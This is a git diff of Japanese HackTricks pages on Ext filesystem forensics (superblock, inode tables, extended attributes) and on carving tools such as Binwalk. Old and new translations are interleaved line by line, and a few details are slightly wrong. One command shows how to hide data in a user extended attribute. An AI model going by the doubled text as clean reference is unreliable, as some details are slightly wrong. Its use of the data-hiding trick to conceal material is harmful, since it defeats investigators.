* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Ext - 拡張ファイルシステム
|
||||
|
||||
**Ext2**は、ブートパーティションのような**ジャーナリングされていない**パーティション（あまり変更されないパーティション）に最も一般的に使用されるファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**その他のパーティション**に使用されます。
|
||||
**Ext2**は、ブートパーティションのような**ほとんど変更されないパーティション**に最も一般的な**ジャーナリングされていない**ファイルシステムです。**Ext3/4**は**ジャーナリング**され、通常は**残りのパーティション**に使用されます。
|
||||
|
||||
ファイルシステム内のすべてのブロックグループは同じサイズであり、連続して格納されています。これにより、カーネルは整数インデックスからディスク内のブロックグループの位置を簡単に導き出すことができます。
|
||||
ファイルシステム内のすべてのブロックグループは同じサイズで連続して格納されています。これにより、カーネルは整数インデックスからディスク上のブロックグループの場所を簡単に導出できます。
|
||||
|
||||
各ブロックグループには以下の情報が含まれています：
|
||||
各ブロックグループには、次の情報が含まれています：
|
||||
|
||||
* ファイルシステムのスーパーブロックのコピー
|
||||
* ブロックグループ記述子のコピー
|
||||
* グループ内の空きブロックを識別するためのデータブロックビットマップ
|
||||
* グループ内の空きinodeを識別するためのinodeビットマップ
|
||||
* inodeテーブル：連続するブロックのシリーズで構成され、それぞれが事前に定義された図1 Ext2 inode数のinodeを含んでいます。すべてのinodeは同じサイズです：128バイト。1,024バイトのブロックには8つのinodeが含まれ、4,096バイトのブロックには32のinodeが含まれます。Ext2では、inode番号と対応するブロック番号の間のディスク上のマッピングを格納する必要はありません。なぜなら、後者の値はブロックグループ番号とinodeテーブル内の相対位置から導き出すことができるからです。例えば、各ブロックグループに4,096のinodeが含まれているとし、ディスク上のinode 13,021のアドレスを知りたいとします。この場合、inodeは3番目のブロックグループに属しており、そのディスクアドレスは対応するinodeテーブルの733番目のエントリに格納されています。ご覧の通り、inode番号はExt2ルーチンがディスク上の適切なinode記述子を迅速に取得するために使用するキーに過ぎません
|
||||
* ファイルを含むデータブロック。意味のある情報を含まないブロックは空きと言われています。
|
||||
- ファイルシステムのスーパーブロックのコピー
|
||||
- ブロックグループ記述子のコピー
|
||||
- グループ内の空きブロックを識別するために使用されるデータブロックビットマップ
|
||||
- グループ内の空きinodeを識別するために使用されるinodeビットマップ
|
||||
- inodeテーブル：連続した一連のブロックで構成され、それぞれが事前定義の図1 Ext2 inode番号のinodeを含んでいます。すべてのinodeのサイズは同じです：128バイト。1,024バイトのブロックには8つのinodeが含まれ、4,096バイトのブロックには32のinodeが含まれます。Ext2では、inode番号と対応するブロック番号のマッピングをディスク上に保存する必要はないため、後者の値はブロックグループ番号とinodeテーブル内の相対位置から導出できます。たとえば、各ブロックグループに4,096のinodeが含まれ、ディスク上のinode 13,021のアドレスを知りたい場合を考えてみましょう。この場合、inodeは3番目のブロックグループに属し、そのディスクアドレスは対応するinodeテーブルの733番目のエントリに格納されています。inode番号は、Ext2ルーチンがディスク上の適切なinode記述子を迅速に取得するために使用するキーであることがわかります。
|
||||
- ファイルを含むデータブロック。意味のない情報を含まないブロックはすべて空きと言われます。
|
||||
|
||||
.png>)
|
||||
|
||||
## Ext オプショナル機能
|
||||
## Extオプション機能
|
||||
|
||||
**機能はデータの位置に影響を与え**、inode内のデータの格納方法に影響を与え、いくつかは分析のために**追加のメタデータ**を提供する可能性があるため、Extでは機能が重要です。
|
||||
**機能は**データの配置場所に影響を与え、**inode内のデータの格納方法**に影響を与え、いくつかは**分析のための追加メタデータ**を提供する可能性があるため、機能はExtで重要です。
|
||||
|
||||
Extには、OSがサポートしているかどうかによって異なるオプショナル機能があります。3つの可能性があります：
|
||||
ExtにはOSがサポートするかしないかに関わらず、3つの可能性があるオプション機能があります：
|
||||
|
||||
* 互換性あり
|
||||
* 互換性なし
|
||||
* 読み取り専用互換性：書き込みはできませんが、マウントは可能
|
||||
- 互換性あり
|
||||
- 互換性なし
|
||||
- 読み取り専用互換性：マウントできますが書き込みはできません
|
||||
|
||||
**互換性がない**機能がある場合、OSはデータへのアクセス方法を知らないため、ファイルシステムをマウントすることができません。
|
||||
**互換性のない**機能がある場合、OSはデータへのアクセス方法を知らないため、ファイルシステムをマウントできません。
|
||||
|
||||
{% hint style="info" %}
|
||||
疑わしい攻撃者は非標準の拡張機能を持っている可能性があります。
|
||||
疑わしい攻撃者は標準外の拡張機能を持っている可能性があります
|
||||
{% endhint %}
|
||||
|
||||
**任意のユーティリティ**は**スーパーブロック**を読むことができ、**Extファイルシステム**の**機能**を示すことができますが、`file -sL /dev/sd*`も使用できます。
|
||||
**スーパーブロック**を読む**任意のユーティリティ**は、**Extファイルシステム**の**機能**を示すことができますが、`file -sL /dev/sd*`を使用しても同様の情報を取得できます。
|
||||
|
||||
## スーパーブロック
|
||||
|
||||
スーパーブロックは開始から最初の1024バイトであり、各グループの最初のブロックに繰り返され、以下を含みます：
|
||||
スーパーブロックは最初の1024バイトから始まり、各グループの最初のブロックに繰り返され、次の情報を含んでいます：
|
||||
|
||||
* ブロックサイズ
|
||||
* 総ブロック数
|
||||
* ブロックグループごとのブロック数
|
||||
* 最初のブロックグループの前の予約ブロック
|
||||
* 総inode数
|
||||
* ブロックグループごとのinode数
|
||||
* ボリューム名
|
||||
* 最終書き込み時間
|
||||
* 最終マウント時間
|
||||
* ファイルシステムが最後にマウントされたパス
|
||||
* ファイルシステムの状態（クリーン？）
|
||||
- ブロックサイズ
|
||||
- 総ブロック数
|
||||
- ブロックグループごとのブロック数
|
||||
- 最初のブロックグループの前に予約されたブロック数
|
||||
- 総inode数
|
||||
- ブロックグループごとのinode数
|
||||
- ボリューム名
|
||||
- 最終書き込み時刻
|
||||
- 最終マウント時刻
|
||||
- ファイルシステムが最後にマウントされたパス
|
||||
- ファイルシステムのステータス（クリーン？）
|
||||
|
||||
Extファイルシステムファイルからこの情報を取得することが可能です：
|
||||
```
|
||||
```bash
|
||||
fsstat -o <offsetstart> /pat/to/filesystem-file.ext
|
||||
#You can get the <offsetstart> with the "p" command inside fdisk
|
||||
```
|
||||
以下は無料のGUIアプリケーションを使用することもできます：[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
または、**python**を使用してスーパーブロック情報を取得することもできます：[https://pypi.org/project/superblock/](https://pypi.org/project/superblock/)
|
||||
あなたは無料のGUIアプリケーションを使用することもできます：[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
また、**python**を使用してスーパーブロック情報を取得することもできます：[https://pypi.org/project/superblock/](https://pypi.org/project/superblock/)
|
||||
|
||||
## inodes
|
||||
|
||||
**inodes**は、**ファイル**の実際の**データ**を**含む** **ブロック**のリストを含んでいます。\
|
||||
ファイルが大きい場合、inodeはブロック/ファイルデータを含むさらなるinodesを指す**他のinodes**への**ポインターを含む**ことがあります。
|
||||
**inodes**には、**ファイル**の実際の**データ**を含む**ブロック**のリストが含まれています。\
|
||||
ファイルが大きい場合、inodeにはファイルデータを含むブロック/他のinodeを指すポインタが含まれる場合があります。
|
||||
|
||||
.png>)
|
||||
|
||||
**Ext2**と**Ext3**ではinodeのサイズは**128B**で、**Ext4**は現在**156B**を使用していますが、将来の拡張のためにディスク上で**256B**を割り当てています。
|
||||
**Ext2**および**Ext3**のinodeはサイズが**128B**であり、**Ext4**は現在**156B**を使用していますが、将来の拡張を許可するためにディスク上に**256B**を割り当てています。
|
||||
|
||||
Inode構造：
|
||||
|
||||
| オフセット | サイズ | 名前 | 説明F |
|
||||
| オフセット | サイズ | 名前 | 説明 |
|
||||
| ------ | ---- | ----------------- | ------------------------------------------------ |
|
||||
| 0x0 | 2 | ファイルモード | ファイルモードとタイプ |
|
||||
| 0x2 | 2 | UID | 所有者IDの下位16ビット |
|
||||
| 0x4 | 4 | サイズIl | ファイルサイズの下位32ビット |
|
||||
| 0x8 | 4 | アクセス時間 | エポックからのアクセス時間（秒） |
|
||||
| 0xC | 4 | 変更時間 | エポックからの変更時間（秒） |
|
||||
| 0x10 | 4 | 修正時間 | エポックからの修正時間（秒） |
|
||||
| 0x14 | 4 | 削除時間 | エポックからの削除時間（秒） |
|
||||
| 0x2 | 2 | UID | オーナーIDの下位16ビット |
|
||||
| 0x4 | 4 | サイズ Il | ファイルサイズの下位32ビット |
|
||||
| 0x8 | 4 | Atime | エポックからのアクセス時間（秒単位） |
|
||||
| 0xC | 4 | Ctime | エポックからの変更時間（秒単位） |
|
||||
| 0x10 | 4 | Mtime | エポックからの変更時間（秒単位） |
|
||||
| 0x14 | 4 | Dtime | エポックからの削除時間（秒単位） |
|
||||
| 0x18 | 2 | GID | グループIDの下位16ビット |
|
||||
| 0x1A | 2 | ハードリンク数 | ハードリンクの数 |
|
||||
| 0xC | 4 | ブロックIo | ブロック数の下位32ビット |
|
||||
| 0x1A | 2 | Hlink count | ハードリンク数 |
|
||||
| 0xC | 4 | Blocks Io | ブロック数の下位32ビット |
|
||||
| 0x20 | 4 | フラグ | フラグ |
|
||||
| 0x24 | 4 | Union osd1 | Linux: Iバージョン |
|
||||
| 0x28 | 69 | ブロック\[15] | 15はデータブロックを指す |
|
||||
| 0x24 | 4 | Union osd1 | Linux：Iバージョン |
|
||||
| 0x28 | 69 | Block\[15] | 15つのデータブロックを指す |
|
||||
| 0x64 | 4 | バージョン | NFS用のファイルバージョン |
|
||||
| 0x68 | 4 | ファイルACL下 | 拡張属性（ACLなど）の下位32ビット |
|
||||
| 0x6C | 4 | ファイルサイズ上 | ファイルサイズの上位32ビット（ext4のみ） |
|
||||
| 0x70 | 4 | 廃止されたフラグメント | 廃止されたフラグメントアドレス |
|
||||
| 0x74 | 12 | Osd 2 | 第二のオペレーティングシステム依存のユニオン |
|
||||
| 0x74 | 2 | ブロック上 | ブロック数の上位16ビット |
|
||||
| 0x76 | 2 | ファイルACL上 | 拡張属性（ACLなど）の上位16ビット |
|
||||
| 0x78 | 2 | UID上 | 所有者IDの上位16ビット |
|
||||
| 0x7A | 2 | GID上 | グループIDの上位16ビット |
|
||||
| 0x7C | 2 | チェックサムIo | inodeチェックサムの下位16ビット |
|
||||
| 0x68 | 4 | File ACL low | 拡張属性（ACLなど）の下位32ビット |
|
||||
| 0x6C | 4 | File size hi | ファイルサイズの上位32ビット（ext4のみ） |
|
||||
| 0x70 | 4 | Obsolete fragment | 廃止されたフラグメントアドレス |
|
||||
| 0x74 | 12 | Osd 2 | 第2のオペレーティングシステム依存のユニオン |
|
||||
| 0x74 | 2 | Blocks hi | ブロック数の上位16ビット |
|
||||
| 0x76 | 2 | File ACL hi | 拡張属性（ACLなど）の上位16ビット |
|
||||
| 0x78 | 2 | UID hi | オーナーIDの上位16ビット |
|
||||
| 0x7A | 2 | GID hi | グループIDの上位16ビット |
|
||||
| 0x7C | 2 | Checksum Io | inodeチェックサムの下位16ビット |
|
||||
|
||||
"修正"は、ファイルの_内容_が最後に変更された時のタイムスタンプです。これは通常"_mtime_"と呼ばれます。\
|
||||
"変更"は、ファイルの_inode_が最後に変更された時のタイムスタンプで、例えば権限、所有権、ファイル名、ハードリンクの数を変更することによります。これは通常"_ctime_"と呼ばれます。
|
||||
"Modify"はファイルの_内容_が最後に変更された時間のタイムスタンプです。これは一般的に"_mtime_"と呼ばれます。\
|
||||
"Change"はファイルの_inode_が変更された最後の時間のタイムスタンプであり、権限、所有権、ファイル名、およびハードリンクの数などが変更されたことを示します。これは一般的に"_ctime_"と呼ばれます。
|
||||
|
||||
Inode構造拡張（Ext4）：
|
||||
Inode構造の拡張（Ext4）：
|
||||
|
||||
| オフセット | サイズ | 名前 | 説明 |
|
||||
| ------ | ---- | ------------ | ------------------------------------------- |
|
||||
| 0x80 | 2 | 追加サイズ | 標準の128バイトを超える使用バイト数 |
|
||||
| 0x82 | 2 | チェックサム上 | inodeチェックサムの上位16ビット |
|
||||
| 0x84 | 4 | 変更時間追加 | 変更時間の追加ビット |
|
||||
| 0x88 | 4 | 修正時間追加 | 修正時間の追加ビット |
|
||||
| 0x8C | 4 | アクセス時間追加 | アクセス時間の追加ビット |
|
||||
| 0x90 | 4 | 作成時間 | ファイル作成時間（エポックからの秒） |
|
||||
| 0x94 | 4 | 作成時間追加 | ファイル作成時間の追加ビット |
|
||||
| 0x98 | 4 | バージョン上 | バージョンの上位32ビット |
|
||||
| 0x80 | 2 | 追加サイズ | 標準の128バイトを超えて使用されるバイト数 |
|
||||
| 0x82 | 2 | チェックサム上位 | inodeチェックサムの上位16ビット |
|
||||
| 0x84 | 4 | Ctime extra | 変更時間の追加ビット |
|
||||
| 0x88 | 4 | Mtime extra | 変更時間の追加ビット |
|
||||
| 0x8C | 4 | Atime extra | アクセス時間の追加ビット |
|
||||
| 0x90 | 4 | Crtime | ファイル作成時間（エポックからの秒数） |
|
||||
| 0x94 | 4 | Crtime extra | ファイル作成時間の追加ビット |
|
||||
| 0x98 | 4 | Version hi | バージョンの上位32ビット |
|
||||
| 0x9C | | 未使用 | 将来の拡張のための予約スペース |
|
||||
|
||||
特別なinodes：
|
||||
特別なinode：
|
||||
|
||||
| Inode | 特別な目的 |
|
||||
| ----- | ---------------------------------------------------- |
|
||||
| 0 | そのようなinodeはなく、番号付けは1から始まります |
|
||||
| 1 | 不良ブロックリスト |
|
||||
| 0 | そのようなinodeは存在せず、番号付けは1から開始します |
|
||||
| 1 | 欠陥ブロックリスト |
|
||||
| 2 | ルートディレクトリ |
|
||||
| 3 | ユーザークォータ |
|
||||
| 4 | グループクォータ |
|
||||
| 5 | ブートローダー |
|
||||
| 6 | アンデリートディレクトリ |
|
||||
| 7 | ファイルシステムのリサイズ用に予約されたグループ記述子 |
|
||||
| 5 | ブートローダ |
|
||||
| 6 | 削除されたディレクトリ |
|
||||
| 7 | 予約されたグループ記述子（ファイルシステムのサイズ変更用） |
|
||||
| 8 | ジャーナル |
|
||||
| 9 | スナップショット用の除外inode |
|
||||
| 9 | 除外inode（スナップショット用） |
|
||||
| 10 | レプリカinode |
|
||||
| 11 | 最初の非予約inode（よくlost + foundとなる） |
|
||||
| 11 | 最初の非予約inode（しばしばlost + found） |
|
||||
|
||||
{% hint style="info" %}
|
||||
作成時間はExt4にのみ表示されることに注意してください。
|
||||
{% endhint %}
|
||||
|
||||
inode番号を知っていれば、そのインデックスを簡単に見つけることができます：
|
||||
inode番号を知っていると、そのインデックスを簡単に見つけることができます：
|
||||
|
||||
* **ブロックグループ**：inodeが属する（Inode番号 - 1）/（グループごとのInodes）
|
||||
* **グループ内のインデックス**：（Inode番号 - 1）mod（グループごとのInodes）
|
||||
* **inodeテーブルへのオフセット**：Inode番号 \* （Inodeサイズ）
|
||||
* "-1"はinode 0が未定義（未使用）であるためです
|
||||
* inodeが属する**ブロックグループ**：（Inode番号 - 1）/（グループあたりのinode数）
|
||||
* **グループ内のインデックス**：（Inode番号 - 1）mod（Inodes/groups）
|
||||
* **inodeテーブルへのオフセット**：Inode番号 \*（Inodeサイズ）
|
||||
* inode 0は未定義（使用されていない）ため、「-1」があります。
|
||||
```bash
|
||||
ls -ali /bin | sort -n #Get all inode numbers and sort by them
|
||||
stat /bin/ls #Get the inode information of a file
|
||||
istat -o <start offset> /path/to/image.ext 657103 #Get information of that inode inside the given ext file
|
||||
icat -o <start offset> /path/to/image.ext 657103 #Cat the file
|
||||
```
|
||||
ファイルモード
|
||||
### ファイルモード
|
||||
|
||||
| 数値 | 説明 |
|
||||
| ---- | -------------------------------------------------------------------------------------------- |
|
||||
| 番号 | 説明 |
|
||||
| ------ | --------------------------------------------------------------------------------------------------- |
|
||||
| **15** | **Reg/Slink-13/Socket-14** |
|
||||
| **14** | **ディレクトリ/ブロックビット13** |
|
||||
| **13** | **キャラクタデバイス/ブロックビット14** |
|
||||
| **14** | **Directory/Block Bit 13** |
|
||||
| **13** | **Char Device/Block Bit 14** |
|
||||
| **12** | **FIFO** |
|
||||
| 11 | Set UID |
|
||||
| 10 | Set GID |
|
||||
| 9 | スティッキービット（これがないと、ディレクトリに書き込み＆実行権限がある人はファイルを削除やリネームできる） |
|
||||
| 8 | オーナー読み取り |
|
||||
| 7 | オーナー書き込み |
|
||||
| 6 | オーナー実行 |
|
||||
| 5 | グループ読み取り |
|
||||
| 4 | グループ書き込み |
|
||||
| 3 | グループ実行 |
|
||||
| 2 | その他読み取り |
|
||||
| 1 | その他書き込み |
|
||||
| 0 | その他実行 |
|
||||
| 9 | Sticky Bit (without it, anyone with Write & exec perms on a directory can delete and rename files) |
|
||||
| 8 | Owner Read |
|
||||
| 7 | Owner Write |
|
||||
| 6 | Owner Exec |
|
||||
| 5 | Group Read |
|
||||
| 4 | Group Write |
|
||||
| 3 | Group Exec |
|
||||
| 2 | Others Read |
|
||||
| 1 | Others Write |
|
||||
| 0 | Others Exec |
|
||||
|
||||
太字のビット（12, 13, 14, 15）はファイルの種類（ディレクトリ、ソケットなど）を示しており、太字のオプションは1つだけ存在します。
|
||||
太字のビット（12、13、14、15）はファイルの種類を示し、太字のオプションは1つだけ存在します。
|
||||
|
||||
ディレクトリ
|
||||
### ディレクトリ
|
||||
|
||||
| オフセット | サイズ | 名前 | 説明 |
|
||||
| ------ | ---- | --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0x0 | 4 | Inode | |
|
||||
| 0x4 | 2 | Rec len | レコード長 |
|
||||
| 0x6 | 1 | Name len | 名前の長さ |
|
||||
| 0x7 | 1 | ファイルタイプ | <p>0x00 不明<br>0x01 通常</p><p>0x02 ディレクトリ</p><p>0x03 キャラクタデバイス</p><p>0x04 ブロックデバイス</p><p>0x05 FIFO</p><p>0x06 ソケット</p><p>0x07 シンボリックリンク</p> |
|
||||
| 0x8 | | 名前 | 名前文字列（最大255文字） |
|
||||
| ------ | ---- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 4 | Inode | |
|
||||
| 0x4 | 2 | Rec len | Record length |
|
||||
| 0x6 | 1 | Name len | Name length |
|
||||
| 0x7 | 1 | File type | <p>0x00 Unknown<br>0x01 Regular</p><p>0x02 Director</p><p>0x03 Char device</p><p>0x04 Block device</p><p>0x05 FIFO</p><p>0x06 Socket</p><p>0x07 Sym link</p> |
|
||||
| 0x8 | | Name | Name string (up to 255 characters) |
|
||||
|
||||
**パフォーマンス向上のため、Root hash Directoryブロックが使用されることがあります。**
|
||||
**パフォーマンスを向上させるために、Root hash Directory blocks may be used.**
|
||||
|
||||
**拡張属性**
|
||||
### 拡張属性
|
||||
|
||||
以下に格納可能：
|
||||
保存される場所
|
||||
|
||||
* inode間の余分なスペース（256 - inodeサイズ、通常は100）
|
||||
* inodeのfile_aclによって指されたデータブロック
|
||||
- イノード間の余分なスペース（256 - イノードサイズ、通常 = 100）
|
||||
- イノード内のfile_aclが指すデータブロック
|
||||
|
||||
名前が"user"で始まる場合、ユーザー属性として何でも格納できるため、この方法でデータを隠すことができます。
|
||||
"ユーザー"で始まる名前の属性を使用して、ユーザーの属性として何でも保存できます。この方法でデータを隠すことができます。
|
||||
|
||||
拡張属性エントリ
|
||||
|
||||
| オフセット | サイズ | 名前 | 説明 |
|
||||
| ------ | ---- | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0x0 | 1 | Name len | 属性名の長さ |
|
||||
| 0x1 | 1 | Name index | <p>0x0 = プレフィックスなし</p><p>0x1 = user. プレフィックス</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = trusted.</p><p>0x6 = security.</p><p>0x7 = system.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | Value offs | 最初のinodeエントリまたはブロック開始からのオフセット |
|
||||
| 0x4 | 4 | Value blocks | 値が格納されているディスクブロック、またはこのブロックの場合はゼロ |
|
||||
| ------ | ---- | ------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 0x0 | 1 | Name len | 属性名の長さ |
|
||||
| 0x1 | 1 | Name index | <p>0x0 = no prefix</p><p>0x1 = user. Prefix</p><p>0x2 = system.posix_acl_access</p><p>0x3 = system.posix_acl_default</p><p>0x4 = trusted.</p><p>0x6 = security.</p><p>0x7 = system.</p><p>0x8 = system.richacl</p> |
|
||||
| 0x2 | 2 | Value offs | 最初のイノードエントリまたはブロックの開始からのオフセット |
|
||||
| 0x4 | 4 | Value blocks | 値が保存されているディスクブロック、またはこのブロックの場合はゼロ |
|
||||
| 0x8 | 4 | Value size | 値の長さ |
|
||||
| 0xC | 4 | Hash | ブロック内の属性のハッシュ、またはinode内の場合はゼロ |
|
||||
| 0x10 | | 名前 | 末尾のNULLなしの属性名 |
|
||||
| 0xC | 4 | Hash | ブロック内の属性のハッシュ、またはイノード内の場合はゼロ |
|
||||
| 0x10 | | Name | 末尾のNULLを除いた属性名 |
|
||||
```bash
|
||||
setfattr -n 'user.secret' -v 'This is a secret' file.txt #Save a secret using extended attributes
|
||||
getfattr file.txt #Get extended attribute names of a file
|
||||
|
|
@ -223,22 +221,7 @@ getdattr -n 'user.secret' file.txt #Get extended attribute called "user.secret"
|
|||
```
|
||||
## ファイルシステムビュー
|
||||
|
||||
ファイルシステムの内容を見るために、無料ツールを**使用できます**：[https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
または、Linuxで`mount`コマンドを使用してマウントすることができます。
|
||||
ファイルシステムの内容を確認するには、**無料ツール**を使用できます: [https://www.disk-editor.org/index.html](https://www.disk-editor.org/index.html)\
|
||||
または、`mount`コマンドを使用してLinuxにマウントすることもできます。
|
||||
|
||||
[https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.](https://piazza.com/class\_profile/get\_resource/il71xfllx3l16f/inz4wsb2m0w2oz#:\~:text=The%20Ext2%20file%20system%20divides,lower%20average%20disk%20seek%20time.)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,20 +1,20 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
最も重要な脆弱性を見つけて、より早く修正しましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、テックスタック全体にわたる問題を見つけます。今日[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)ください。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
|
@ -22,17 +22,17 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
# Carving & Recovery tools
|
||||
|
||||
より多くのツールは[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)で見つけることができます。
|
||||
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) にさらに多くのツールがあります
|
||||
|
||||
## Autopsy
|
||||
|
||||
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、"隠された"ファイルを見つけるためにファイルを取り込ませます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていないことに注意してください。
|
||||
イメージからファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsy はディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk**は、埋め込まれたファイルやデータを検索するためのバイナリファイル（画像やオーディオファイルなど）用のツールです。
|
||||
`apt`でインストールすることができますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。
|
||||
**便利なコマンド**：
|
||||
**Binwalk** は画像や音声ファイルなどのバイナリファイルを検索するためのツールです。\
|
||||
`apt` でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk) は github で見つけることができます。\
|
||||
**便利なコマンド**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
|
@ -41,7 +41,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
隠されたファイルを見つけるための一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルだけを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されたファイルタイプを検索します。
|
||||
